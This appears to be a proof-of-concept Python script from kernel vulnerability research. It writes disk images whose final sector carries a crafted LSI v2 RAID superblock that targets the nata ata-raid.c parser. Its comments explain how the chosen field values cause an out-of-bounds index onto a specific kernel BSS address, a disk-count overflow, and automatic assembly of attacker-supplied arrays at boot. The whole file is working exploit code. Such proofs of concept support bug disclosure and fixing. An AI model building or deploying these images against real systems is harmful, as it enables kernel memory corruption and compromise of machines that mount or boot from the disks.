DF-2494 / craft_meta.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | #!/usr/bin/env python3 """Craft raw disk images whose LAST sector carries a malicious LSI v2 ("$XIDE$") RAID superblock for nata's ata-raid.c parser. LSIV2_LBA(dev) = ad_softc->total_secs - 1 (ata-raid.h:456-457) struct lsiv2_raid_conf (ata-raid.h:459-513) is exactly 512 bytes: u8 lsi_id[6] off 0 "$XIDE$" u8 dummy_0 off 6 u8 flags off 7 u16 version off 8 u8 config_entries off 10 u8 raid_count off 11 u8 total_disks off 12 u8 dummy_1 off 13 u16 dummy_2 off 14 union configs[30] off 16 (16 bytes each: raid view / disk view) u8 disk_number off 496 u8 raid_number off 497 u32 timestamp off 498 u8 filler[10] off 502 raid view: u8 type; u8 dummy_0; u16 stripe_sectors; u8 array_width; u8 disk_count; u8 config_offset; u8 dummy_1; u8 flags; u32 total_sectors; u8 filler[3] disk view: u8 device; u8 dummy_0; u32 disk_sectors; u8 disk_number; u8 raid_number; u8 flags; u8 filler[7] """ import struct import sys NSECT = 131072 # 64 MB image SS = 512 MAGIC = b"$XIDE$" T_RAID0 = 0x01 def meta(raid_number, disk_number, disk_count, raid_entry=None, conf_entry=None, raid_type=T_RAID0, total_sectors=0x1000000): """Build one crafted struct lsiv2_raid_conf. raid_entry: which configs[] the parser reads the array descriptor from (= meta->raid_number in the parser). conf_entry: which configs[] the parser reads the per-disk descriptor from (= (configs[raid_entry].raid.config_offset >> 4) + meta->disk_number - 1 in the parser). config_offset is set to 0 so conf_entry == disk_number - 1. """ if raid_entry is None: raid_entry = raid_number if conf_entry is None: conf_entry = disk_number - 1 m = bytearray(SS) m[0:6] = MAGIC m[7] = 0 # flags struct.pack_into("<H", m, 8, 1) # version m[10] = 1 # config_entries m[11] = 1 # raid_count m[12] = 2 # total_disks (unused by parser) # configs[raid_entry].raid b = 16 + raid_entry * 16 m[b + 0] = raid_type # .raid.type m[b + 1] = 0 # .raid.dummy_0 struct.pack_into("<H", m, b + 2, 64) # .raid.stripe_sectors m[b + 4] = 2 # .raid.array_width m[b + 5] = disk_count # .raid.disk_count -> total_disks m[b + 6] = 0 # .raid.config_offset (conf_entry=D-1) m[b + 7] = 0 # .raid.flags struct.pack_into("<I", m, b + 8, total_sectors) # .raid.total_sectors # configs[conf_entry].disk (device != LSIV2_D_NONE so the disk gets # registered; overlay hazard avoided by keeping entries distinct) d = 16 + conf_entry * 16 m[d + 0] = 0x00 # .disk.device = LSIV2_D_MASTER m[d + 1] = 0 # .disk.dummy_0 struct.pack_into("<I", m, d + 2, 99999) # .disk.disk_sectors m[d + 6] = disk_number # .disk.disk_number m[d + 7] = raid_number # .disk.raid_number m[d + 8] = 0 # .disk.flags # trailer m[496] = disk_number m[497] = raid_number struct.pack_into("<I", m, 498, 0x11223344) # timestamp return bytes(m) def build(path, md): with open(path, "wb") as f: f.seek((NSECT - 1) * SS) f.write(md) f.seek(NSECT * SS - 1) f.write(b"\0") print("wrote", path, f"{NSECT} sectors; metadata at LBA {NSECT-1}") if __name__ == "__main__": # DF-2494 authentic: raid_number=23 -> raidp[0+23] lands exactly on # &sysctl__hw_amr_children (kernel BSS 0xffffffff8114dec0 + 0xb8). # Deterministic: configs[23] is inside the 30-entry table. build("/tmp/opencode/craft_df2494_r23.img", meta(raid_number=23, disk_number=2, disk_count=2)) # DF-2495 authentic: raid_number=0 (in-bounds raidp[0]) with # disk_count=255 -> rdp->total_disks=255 (MAX_DISKS=16). build("/tmp/opencode/craft_df2495_td255.img", meta(raid_number=0, disk_number=2, disk_count=255)) # DF-2494 authentic variant: valid in-bounds array (raid_number=0) # -> proves attacker arrays auto-assemble at boot (ar0 prints # "LSILogic v2 MegaRAID"). build("/tmp/opencode/craft_valid_ar0.img", meta(raid_number=0, disk_number=2, disk_count=2)) |